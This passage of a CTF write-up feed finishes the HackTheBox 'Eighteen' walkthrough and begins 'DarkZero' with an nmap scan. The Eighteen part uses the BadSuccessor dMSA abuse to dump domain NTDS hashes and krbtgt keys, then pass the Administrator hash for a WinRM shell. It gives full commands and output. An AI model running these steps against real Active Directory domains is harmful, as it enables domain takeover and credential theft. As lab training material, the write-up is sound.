<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\Users\adam.scott\Documents&gt; </span><span class="n">Get-Date</span><span class="w"> </span><span class="nt">-Format</span><span class="w"> </span><span class="s2">"yyyy-MM-dd HH:mm:ss"</span><span class="w">
</span><span class="go">2026-04-10 01:21:54
</span></code></pre></div></div>

<p>And then set it locally:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo date</span> <span class="nt">-u</span> <span class="nt">-s</span> <span class="s2">"2026-04-10 01:21:54"</span>
<span class="go">Fri Apr 10 01:21:54 AM UTC 2026
</span></code></pre></div></div>

<p>Now I can run the exploit:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>proxychains <span class="nt">-q</span> netexec ldap dc01.eighteen.htb <span class="nt">-u</span> adam.scott <span class="nt">-p</span> <span class="s1">'iloveyou1'</span> <span class="nt">-M</span> badsuccessor <span class="nt">-o</span> <span class="nv">TARGET_OU</span><span class="o">=</span><span class="s1">'OU=Staff,DC=eighteen,DC=htb'</span> <span class="nv">DMSA_NAME</span><span class="o">=</span>0xdf <span class="nv">TARGET_ACCOUNT</span><span class="o">=</span>Administrator
<span class="netexec-protocol">LDAP </span><span class="go">       224.0.0.1       389    DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb) (signing:Enforced) (channel binding:No TLS cert) 
</span><span class="netexec-protocol">LDAP </span><span class="go">       224.0.0.1       389    DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> eighteen.htb\adam.scott:iloveyou1 
</span><span class="nb">BADSUCCE... </span><span class="go">224.0.0.1       389    DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> Found DC with Windows Server 2025: 224.0.0.2 (DC01.eighteen.htb)
</span><span class="nb">BADSUCCE... </span><span class="go">224.0.0.1       389    DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> dMSA '0xdf$' created at CN=0xdf,OU=Staff,DC=eighteen,DC=htb
</span><span class="nb">BADSUCCE... </span><span class="go">224.0.0.1       389    DC01             DNS Hostname: 0xdf.eighteen.htb
</span><span class="nb">BADSUCCE... </span><span class="go">224.0.0.1       389    DC01             Migration state: 2 (completed)
</span><span class="nb">BADSUCCE... </span><span class="go">224.0.0.1       389    DC01             Target account: CN=Administrator,CN=Users,DC=eighteen,DC=htb
</span><span class="nb">BADSUCCE... </span><span class="go">224.0.0.1       389    DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> Current keys:
</span><span class="nb">BADSUCCE... </span><span class="go">224.0.0.1       389    DC01             EncryptionTypes.aes256_cts_hmac_sha1_96: c23d2ee88cca21b1fed4a801e00f20a7318a8adb85d1cd08f8e2fc1fc94f3d5e
</span><span class="nb">BADSUCCE... </span><span class="go">224.0.0.1       389    DC01             EncryptionTypes.aes128_cts_hmac_sha1_96: 1f03e9cbb9e5672970560496c285ffb4
</span><span class="nb">BADSUCCE... </span><span class="go">224.0.0.1       389    DC01             EncryptionTypes.rc4_hmac: dad23aa0e8e234df8a524f58d065e3fc
</span><span class="nb">BADSUCCE... </span><span class="go">224.0.0.1       389    DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> Previous keys:
</span><span class="nb">BADSUCCE... </span><span class="go">224.0.0.1       389    DC01             EncryptionTypes.rc4_hmac: 0b133be956bfaddf9cea56701affddec
</span><span class="nb">BADSUCCE... </span><span class="go">224.0.0.1       389    DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> Service ticket saved to 0xdf$.ccache
</span></code></pre></div></div>

<p>This creates a TGT as the 0xdf$ user but with the Administrator’s groups. I’ll verify this in <a href="#beyond-root">Beyond Root</a>.</p>

<p>I can test it by authenticating over <code class="language-plaintext highlighter-rouge">netexec</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>0xdf<span class="se">\$</span>.ccache proxychains <span class="nt">-q</span> netexec smb dc01.eighteen.htb <span class="nt">--use-kcache</span>
<span class="netexec-protocol">SMB </span><span class="go">        dc01.eighteen.htb 445    DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:eighteen.htb) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go">
</span><span class="netexec-protocol">SMB </span><span class="go">        dc01.eighteen.htb 445    DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> eighteen.htb\0xdf$ from ccache </span><span class="netexec-pwned">(Pwn3d!)</span><span class="go">
</span></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">(Pwn3d!)</code> output means I’m in a privileged group.</p>

<p>I’ll use that ticket to dump the domain hashes:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>0xdf<span class="se">\$</span>.ccache proxychains <span class="nt">-q</span> netexec smb dc01.eighteen.htb <span class="nt">--use-kcache</span> <span class="nt">--ntds</span>
<span class="netexec-protocol">SMB </span><span class="go">        dc01.eighteen.htb 445    DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:eighteen.htb) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go">
</span><span class="netexec-protocol">SMB </span><span class="go">        dc01.eighteen.htb 445    DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> eighteen.htb\0xdf$ from ccache </span><span class="netexec-pwned">(Pwn3d!)</span><span class="go">
</span><span class="netexec-protocol">SMB </span><span class="go">        dc01.eighteen.htb 445    DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> Dumping the NTDS, this could take a while so go grab a redbull...
</span><span class="netexec-protocol">SMB </span><span class="go">        dc01.eighteen.htb 445    DC01             Administrator:500:aad3b435b51404eeaad3b435b51404ee:0b133be956bfaddf9cea56701affddec:::
</span><span class="netexec-protocol">SMB </span><span class="go">        dc01.eighteen.htb 445    DC01             Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
</span><span class="netexec-protocol">SMB </span><span class="go">        dc01.eighteen.htb 445    DC01             krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a7c7a912503b16d8402008c1aebdb649:::
</span><span class="netexec-protocol">SMB </span><span class="go">        dc01.eighteen.htb 445    DC01             mssqlsvc:1601:aad3b435b51404eeaad3b435b51404ee:c44d16951b0810e8f3bbade300966ec4:::
</span><span class="netexec-protocol">SMB </span><span class="go">        dc01.eighteen.htb 445    DC01             eighteen.htb\jamie.dunn:1606:aad3b435b51404eeaad3b435b51404ee:9fbaaf9e93e576187bb840e93971792a:::
</span><span class="netexec-protocol">SMB </span><span class="go">        dc01.eighteen.htb 445    DC01             eighteen.htb\jane.smith:1607:aad3b435b51404eeaad3b435b51404ee:42554e3213381f9d1787d2dbe6850d21:::
</span><span class="netexec-protocol">SMB </span><span class="go">        dc01.eighteen.htb 445    DC01             eighteen.htb\alice.jones:1608:aad3b435b51404eeaad3b435b51404ee:43f8a72420ee58573f6e4f453e72843a:::
</span><span class="netexec-protocol">SMB </span><span class="go">        dc01.eighteen.htb 445    DC01             eighteen.htb\adam.scott:1609:aad3b435b51404eeaad3b435b51404ee:9964dae494a77414e34aff4f34412166:::
</span><span class="netexec-protocol">SMB </span><span class="go">        dc01.eighteen.htb 445    DC01             eighteen.htb\bob.brown:1610:aad3b435b51404eeaad3b435b51404ee:7e86c41ddac3f95c986e0382239ab1ea:::
</span><span class="netexec-protocol">SMB </span><span class="go">        dc01.eighteen.htb 445    DC01             eighteen.htb\carol.white:1611:aad3b435b51404eeaad3b435b51404ee:6056d42866209a6744cb6294df075640:::
</span><span class="netexec-protocol">SMB </span><span class="go">        dc01.eighteen.htb 445    DC01             eighteen.htb\dave.green:1612:aad3b435b51404eeaad3b435b51404ee:7624e4baa9c950aa3e0f2c8b1df72ee9:::
</span><span class="netexec-protocol">SMB </span><span class="go">        dc01.eighteen.htb 445    DC01             DC01$:1000:aad3b435b51404eeaad3b435b51404ee:d79b6837ac78c51c79aab3d970875584:::
</span><span class="netexec-protocol">SMB </span><span class="go">        dc01.eighteen.htb 445    DC01             0xdf$:13107:aad3b435b51404eeaad3b435b51404ee:dad23aa0e8e234df8a524f58d065e3fc:::
</span><span class="netexec-protocol">SMB </span><span class="go">        dc01.eighteen.htb 445    DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> Dumped 13 NTDS hashes to /home/oxdf/.nxc/logs/ntds/DC01_dc01.eighteen.htb_2026-04-10_084010.ntds of which 11 were added to the database
</span><span class="netexec-protocol">SMB </span><span class="go">        dc01.eighteen.htb 445    DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> To extract only enabled accounts from the output file, run the following command: 
</span><span class="netexec-protocol">SMB </span><span class="go">        dc01.eighteen.htb 445    DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> grep -iv disabled /home/oxdf/.nxc/logs/ntds/DC01_dc01.eighteen.htb_2026-04-10_084010.ntds | cut -d ':' -f1
</span></code></pre></div></div>

<p>I’ll use the administrator hash to get a shell over WinRM:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>evil-winrm-py <span class="nt">-i</span> dc01.eighteen.htb <span class="nt">-u</span> administrator <span class="nt">-H</span> 0b133be956bfaddf9cea56701affddec
<span class="go">          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.6.0

[*] Connecting to 'dc01.eighteen.htb:5985' as 'administrator'
</span><span class="gp">evil-winrm-py PS C:\Users\Administrator\Documents&gt;</span><span class="w">
</span></code></pre></div></div>

<p>And the root flag:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\Users\Administrator\Desktop&gt;</span><span class="w"> </span><span class="n">cat</span><span class="w"> </span><span class="nx">root.txt</span><span class="w">
</span><span class="go">c6559b06************************
</span></code></pre></div></div>

<h2 id="beyond-root">Beyond Root</h2>

<p>As root, I can dump the krbtgt account’s AES key and decrypt the TGT generated for the dMSA account, confirming that the ticket really does carry the Administrator’s group memberships. First, I’ll use <code class="language-plaintext highlighter-rouge">secretsdump.py</code> to get the krbtgt user’s keys:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>0xdf<span class="se">\$</span>.ccache proxychains <span class="nt">-q</span> secretsdump.py <span class="nt">-k</span> <span class="nt">-no-pass</span> <span class="nt">-just-dc-user</span> krbtgt eighteen.htb/0xdf<span class="se">\$</span>@dc01.eighteen.htb
<span class="go">Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a7c7a912503b16d8402008c1aebdb649:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:56b1a6191645e0d5adf64a84418ecee5f79abe7c2109f3aeca08b1cc1381d024
krbtgt:aes128-cts-hmac-sha1-96:5ad1b9baa9295bacca1286535e9efd8e
krbtgt:0x17:a7c7a912503b16d8402008c1aebdb649
[*] Cleaning up... 
</span></code></pre></div></div>

<p>Now I’ll pass the AES key to <code class="language-plaintext highlighter-rouge">describeTicket.py</code>:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>describeTicket.py <span class="s1">'0xdf$.ccache'</span> <span class="nt">--aes</span> 56b1a6191645e0d5adf64a84418ecee5f79abe7c2109f3aeca08b1cc1381d024
<span class="go">Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key            : 3b0c5223261346a1cef58d3f12858a9019befe03446f6b7d2da8ffc202a589b9
[*] User Name                     : 0xdf$
[*] User Realm                    : eighteen.htb
[*] Service Name                  : krbtgt/EIGHTEEN.HTB
[*] Service Realm                 : EIGHTEEN.HTB
[*] Start Time                    : 10/04/2026 08:33:01 AM
[*] End Time                      : 10/04/2026 18:33:01 PM
[*] RenewTill                     : 11/04/2026 08:32:50 AM
[*] Flags                         : (0x40a10000) forwardable, renewable, pre_authent, enc_pa_rep
[*] KeyType                       : aes256_cts_hmac_sha1_96
[*] Base64(key)                   : OwxSIyYTRqHO9Y0/EoWKkBm+/gNEb2t9Laj/wgKlibk=
[*] Decoding unencrypted data in credential[0]['ticket']:
[*]   Service Name                : krbtgt/EIGHTEEN.HTB
[*]   Service Realm               : EIGHTEEN.HTB
[*]   Encryption type             : aes256_cts_hmac_sha1_96 (etype 18)
[*] Decoding credential[0]['ticket']['enc-part']:
[*]   LoginInfo
[*]     Logon Time                : Infinity (absolute time)
[*]     Logoff Time               : Infinity (absolute time)
[*]     Kickoff Time              : Infinity (absolute time)
[*]     Password Last Set         : 10/04/2026 08:33:00 AM
[*]     Password Can Change       : 10/04/2026 08:33:00 AM
[*]     Password Must Change      : Infinity (absolute time)
[*]     LastSuccessfulILogon      : Infinity (absolute time)
[*]     LastFailedILogon          : Infinity (absolute time)
[*]     FailedILogonCount         : 0
[*]     Account Name              : 0xdf$
[*]     Full Name                 :
[*]     Logon Script              :
[*]     Profile Path              :
[*]     Home Dir                  :
[*]     Dir Drive                 :
[*]     Logon Count               : 0
[*]     Bad Password Count        : 0
[*]     User RID                  : 13107
[*]     Group RID                 : 515
[*]     Group Count               : 7
[*]     Groups                    : 515, 513, 512, 520, 519, 518, 500
[*]     Groups (decoded)          : (515) Domain Computers
[*]                                 (513) Domain Users
[*]                                 (512) Domain Admins
[*]                                 (520) Group Policy Creator Owners
[*]                                 (519) Enterprise Admins
[*]                                 (518) Schema Admins
[*]                                 +1 Unknown custom group
[*]     User Flags                : (32) LOGON_EXTRA_SIDS
[*]     User Session Key          : 00000000000000000000000000000000
[*]     Logon Server              : DC01
[*]     Logon Domain Name         : EIGHTEEN
[*]     Logon Domain SID          : S-1-5-21-1152179935-589108180-1989892463
[*]     User Account Control      : (128) USER_WORKSTATION_TRUST_ACCOUNT
[*]     Extra SID Count           : 1
[*]     Extra SIDs                : S-1-18-1 Authentication authority asserted identity (SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, SE_GROUP_ENABLED)
[*]     Resource Group Domain SID :
[*]     Resource Group Count      : 0
[*]     Resource Group Ids        :
[*]     LMKey                     : 0000000000000000
[*]     SubAuthStatus             : 0
[*]     Reserved3                 : 0
[*]   ServerChecksum
[*]     Signature Type            : hmac_sha1_96_aes256
[*]     Signature                 : 0139c70df2e1807553347b3c
[*]   KDCChecksum
[*]     Signature Type            : hmac_sha1_96_aes256
[*]     Signature                 : fec0cf4ae826a958c0681db7
[*]   ClientName
[*]     Client Id                 : 10/04/2026 08:33:01 AM
[*]     Client Name               : 0xdf$
[*]   UpnDns
[*]     Flags                     : (3) U_UsernameOnly, S_SidSamSupplied
[*]     UPN                       : 0xdf$@eighteen.htb
[*]     DNS Domain Name           : EIGHTEEN.HTB
[*]     SamAccountName            : 0xdf$
[*]     UserSid                   : S-1-5-21-1152179935-589108180-1989892463-13107
[*]   Attributes Info
[*]     Flags                     : (2) PAC_WAS_GIVEN_IMPLICITLY
[*]   Requester Info
[*]     UserSid                   : S-1-5-21-1152179935-589108180-1989892463-13107
</span></code></pre></div></div>

<p>The username matches the dMSA I created:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">[*] User Name                     : 0xdf$
</span></code></pre></div></div>

<p>The groups match the Administrator user’s groups:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">[*]     Groups                    : 515, 513, 512, 520, 519, 518, 500
[*]     Groups (decoded)          : (515) Domain Computers
[*]                                 (513) Domain Users
[*]                                 (512) Domain Admins
[*]                                 (520) Group Policy Creator Owners
[*]                                 (519) Enterprise Admins
[*]                                 (518) Schema Admins
[*]                                 +1 Unknown custom group
</span></code></pre></div></div>

<p>It’s the groups in the TGT that allow me to request a service ticket that can access things as administrator.</p>]]></content><author><name></name></author><category term="ctf" /><category term="hackthebox" /><category term="htb-eighteen" /><category term="pentest" /><category term="bug-bounty" /><category term="ctf" /><category term="hackthebox" /><category term="htb-eighteen" /><category term="assume-breach" /><category term="nmap" /><category term="iis" /><category term="windows" /><category term="netexec" /><category term="mssql" /><category term="flask" /><category term="feroxbuster" /><category term="mssqlclient" /><category term="mssql-impersonate" /><category term="mssql-rid-cycle" /><category term="htb-signed" /><category term="werkzeug" /><category term="werkzeug-pbkdf2" /><category term="werkzeug-hash" /><category term="htb-instant" /><category term="python" /><category term="hashcat" /><category term="password-spray" /><category term="password-reuse" /><category term="evil-winrm-py" /><category term="smbserver" /><category term="active-directory" /><category term="bloodhound" /><category term="bloodhound-ce" /><category term="sharphound" /><category term="bad-successor" /><category term="cve-2025-53779" /><category term="chisel" /><category term="netexec-badsuccessor" /><category term="kerberos" /><category term="dcsync" /><category term="impacket" /><category term="secretsdump" /><category term="describeticket" /><category term="oscp-like-v3" /><summary type="html"><![CDATA[Eighteen is a Windows Server 2025 assume-breach box starting with MSSQL credentials. I’ll use MSSQL login impersonation to access the financial planner database and recover a Werkzeug PBKDF2 hash for the web admin. After cracking the hash and spraying the password against domain users, I’ll get a WinRM shell. From there, I’ll identify that the domain is running at the Windows 2025 functional level and exploit Bad Successor, abusing the dMSA migration feature to create a delegated managed service account that inherits the Administrator’s group memberships, giving full domain admin access.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/eighteen-cover.png" /><media:content medium="image" url="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/eighteen-cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">HTB: DarkZero</title><link href="https://0xdf.gitlab.io/2026/04/04/htb-darkzero.html" rel="alternate" type="text/html" title="HTB: DarkZero" /><published>2026-04-04T13:45:00+00:00</published><updated>2026-04-04T13:45:00+00:00</updated><id>https://0xdf.gitlab.io/2026/04/04/htb-darkzero</id><content type="html" xml:base="https://0xdf.gitlab.io/2026/04/04/htb-darkzero.html"><![CDATA[<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/darkzero-cover.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/darkzero-cover.png" alt="DarkZero" style="float: right; margin-right:50px; margin-left:50px; height:150px;" class="include_image " />
</picture>
<p>DarkZero is an assume breach Windows box with two forests connected by a bidirectional cross-forest trust. Starting with given credentials, I’ll enumerate MSSQL on DC01 and find a linked server to DC02 in the other forest where the mapped account is sysadmin. I’ll enable xp_cmdshell on DC02 to get a shell as the SQL service account. To escalate to SYSTEM on DC02, I’ll show four paths: recovering SeImpersonatePrivilege from the original logon token via named pipe impersonation, using ADCS certificate enrollment to get an NT hash and change the password for a service logon with RunAsCS, NTLM authentication reflection using the CMTI DNS record trick to relay the machine account back to its own LDAPS, and CVE-2024-30088. As SYSTEM on DC02, I’ll abuse the cross-forest TGT delegation to capture DC01’s machine account TGT and use it to dump all domain hashes from DC01.</p>

<h2 id="box-info">Box Info</h2>

<!-- https://app.hackthebox.com/machines/754 -->

<div class="htb-card platform-htb">
  <div class="htb-card-header">
    <div class="htb-box-info">
      <a href="https://hackthebox.com/machines/darkzero" target="_blank" class="htb-box-icon">
        <picture>
          <source type="image/webp" srcset="/icons/box-darkzero.webp" />
          <img src="/icons/box-darkzero.png" alt="DarkZero" />
        </picture>
      </a>
      <div class="htb-box-title">
        <a href="https://hackthebox.com/machines/darkzero" target="_blank" class="htb-box-name">DarkZero</a>
      </div>
    </div><div class="htb-difficulty-badge diff-Hard">
      Hard
    </div>
  </div>

  <div class="htb-card-body">
    <div class="htb-meta-grid">
      <div class="htb-meta-item">
        <span class="htb-meta-label">Release Date</span>
        <span class="htb-meta-value">
          
          04 Oct 2025
        </span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">Retire Date</span>
        <span class="htb-meta-value">04 Apr 2026</span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">OS</span>
        <span class="htb-meta-value htb-os">
          <picture><source type="image/webp" srcset="/icons/Windows.webp" /><img src="/icons/Windows.png" alt="Windows" /></picture>
          Windows
        </span>
      </div>
    </div>

    <div class="htb-cards">
      
      <div class="htb-card-row htb-card-green">
        <span class="htb-card-label">Rated Difficulty</span>
        <picture>
          <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/darkzero-diff.webp" />
          <img src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/darkzero-diff.png" alt="Rated difficulty for DarkZero" class="htb-diff-img" />
        </picture>
      </div>
      <div class="htb-card-row htb-card-green htb-card-tall">
        <span class="htb-card-label">Radar Graph</span>
        <picture>
          <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/darkzero-radar.webp" />
          <img src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/darkzero-radar.png" alt="Radar chart for DarkZero" class="htb-radar-img" />
        </picture>
      </div>
      
      
      <div class="htb-card-row htb-card-red">
        <div class="htb-blood-chip">
          <svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.17728 1.8663C9.39181 1.53976 9.75455 1.36377 10.1194 1.36377C10.4845 1.36377 10.8474 1.53992 11.0619 1.86677C11.2785 2.19751 11.5887 2.67967 11.9582 3.25725C12.1814 3.60619 12.0794 4.07 11.7305 4.29319C11.3816 4.51638 10.9178 4.41445 10.6946 4.06551C10.479 3.72853 10.285 3.42614 10.1186 3.16844C9.45753 4.18835 8.37959 5.89633 7.40828 7.656C6.83514 8.69432 6.30663 9.73721 5.92344 10.6594C5.52883 11.609 5.32959 12.3362 5.32959 12.7789C5.32959 15.1536 7.4206 17.172 10.1194 17.172C11.6175 17.172 12.9428 16.5425 13.8158 15.5721C14.0929 15.2641 14.5671 15.239 14.875 15.5161C15.183 15.7931 15.208 16.2673 14.931 16.5753C13.7716 17.8641 12.0399 18.672 10.1194 18.672C6.69911 18.672 3.82959 16.0851 3.82959 12.7789C3.82959 12.0155 4.13669 11.0502 4.53827 10.0838C4.95126 9.08991 5.50879 7.99321 6.09505 6.93112C7.26832 4.80557 8.58701 2.76434 9.17728 1.8663Z" fill="currentColor" /><path d="M12.4256 10.0001C11.9254 10.0001 11.5003 9.81776 11.1502 9.45318C10.8 9.0886 10.625 8.64589 10.625 8.12505C10.625 7.60422 10.8 7.16151 11.1502 6.79693C11.5003 6.43235 11.9254 6.25005 12.4256 6.25005C12.9257 6.25005 13.3509 6.43235 13.701 6.79693C14.0511 7.16151 14.2262 7.60422 14.2262 8.12505C14.2262 8.64589 14.0511 9.0886 13.701 9.45318C13.3509 9.81776 12.9257 10.0001 12.4256 10.0001Z" fill="currentColor" /><path d="M8.82438 12.8126V12.5001C8.82438 12.3004 8.87648 12.1116 8.98068 11.9336C9.08488 11.7557 9.22868 11.606 9.41208 11.4844C9.87056 11.2067 10.3553 10.994 10.8662 10.8464C11.3772 10.6988 11.8961 10.6251 12.423 10.6251C12.9499 10.6251 13.4697 10.6988 13.9823 10.8464C14.495 10.994 14.9806 11.2067 15.4391 11.4844C15.6225 11.5973 15.7663 11.7448 15.8705 11.9271C15.9747 12.1094 16.0268 12.3004 16.0268 12.5001V12.8126C16.0268 13.0704 15.9386 13.2911 15.7622 13.4747C15.5857 13.6583 15.3737 13.7501 15.126 13.7501H9.72114C9.47342 13.7501 9.26203 13.6583 9.08697 13.4747C8.91191 13.2911 8.82438 13.0704 8.82438 12.8126Z" fill="currentColor" /></svg>
          <span class="htb-blood-label">User</span>
        </div>
        <div class="htb-blood-info">
          <span class="htb-blood-time"><span class="htb-blood-clock">00:21:17</span></span><a href="https://app.hackthebox.com/users/1893875" target="_blank" rel="noopener"><img alt="ahos6" src="https://www.hackthebox.com/badge/image/1893875" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> ahos6</span></a><br /></div>
      </div>
      <div class="htb-card-row htb-card-red">
        <div class="htb-blood-chip">
          <svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.17728 1.8663C9.39181 1.53976 9.75455 1.36377 10.1194 1.36377C10.4845 1.36377 10.8474 1.53992 11.0619 1.86677C11.2785 2.19751 11.5887 2.67967 11.9582 3.25725C12.1814 3.60619 12.0794 4.07 11.7305 4.29319C11.3816 4.51638 10.9178 4.41445 10.6946 4.06551C10.479 3.72853 10.285 3.42614 10.1186 3.16844C9.45753 4.18835 8.37959 5.89633 7.40828 7.656C6.83514 8.69432 6.30663 9.73721 5.92344 10.6594C5.52883 11.609 5.32959 12.3362 5.32959 12.7789C5.32959 15.1536 7.4206 17.172 10.1194 17.172C11.6175 17.172 12.9428 16.5425 13.8158 15.5721C14.0929 15.2641 14.5671 15.239 14.875 15.5161C15.183 15.7931 15.208 16.2673 14.931 16.5753C13.7716 17.8641 12.0399 18.672 10.1194 18.672C6.69911 18.672 3.82959 16.0851 3.82959 12.7789C3.82959 12.0155 4.13669 11.0502 4.53827 10.0838C4.95126 9.08991 5.50879 7.99321 6.09505 6.93112C7.26832 4.80557 8.58701 2.76434 9.17728 1.8663Z" fill="currentColor" /><path d="M10.7 13.5H9.3V12.1H10.7V13.5ZM10.7 10.7H9.3V6.5H10.7V10.7Z" fill="currentColor" /></svg>
          <span class="htb-blood-label">Root</span>
        </div>
        <div class="htb-blood-info">
          <span class="htb-blood-time"><span class="htb-blood-clock">01:10:35</span></span><a href="https://app.hackthebox.com/users/463126" target="_blank" rel="noopener"><img alt="manesec" src="https://www.hackthebox.com/badge/image/463126" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> manesec</span></a><br /></div>
      </div>
      
      <div class="htb-card-row htb-card-blue">
        <span class="htb-card-label">Creator</span>
        
<a href="https://app.hackthebox.com/users/606891" target="_blank" rel="noopener"><img alt="0xEr3bus" src="https://www.hackthebox.com/badge/image/606891" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> 0xEr3bus</span></a><br />
      </div>
    </div>

    
    <div class="htb-scenario-section">
      <span class="htb-meta-label">Scenario</span>
      <div class="htb-scenario-box"><span class="htb-scenario-text">As is common in real life pentests, you will start the DarkZero box with credentials for the following account john.w / RFulUtONCOL!</span></div>
    </div>
    
  </div>
</div>
<h2 id="recon">Recon</h2>

<h3 id="initial-scanning">Initial Scanning</h3>

<p><code class="language-plaintext highlighter-rouge">nmap</code> finds 22 open TCP ports:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p-</span> <span class="nt">-vvv</span> <span class="nt">--min-rate</span> 10000 10.129.5.34
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-11 00:49 UTC
...[snip]...
Nmap scan report for 10.129.5.34
Host is up, received echo-reply ttl 127 (0.022s latency).
Scanned at 2026-03-11 00:49:11 UTC for 13s
Not shown: 65513 filtered tcp ports (no-response)
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
1433/tcp  open  ms-sql-s         syn-ack ttl 127
2179/tcp  open  vmrdp            syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
49664/tcp open  unknown          syn-ack ttl 127
49669/tcp open  unknown          syn-ack ttl 127
49674/tcp open  unknown          syn-ack ttl 127
49675/tcp open  unknown          syn-ack ttl 127
49897/tcp open  unknown          syn-ack ttl 127
49928/tcp open  unknown          syn-ack ttl 127
53721/tcp open  unknown          syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.39 seconds
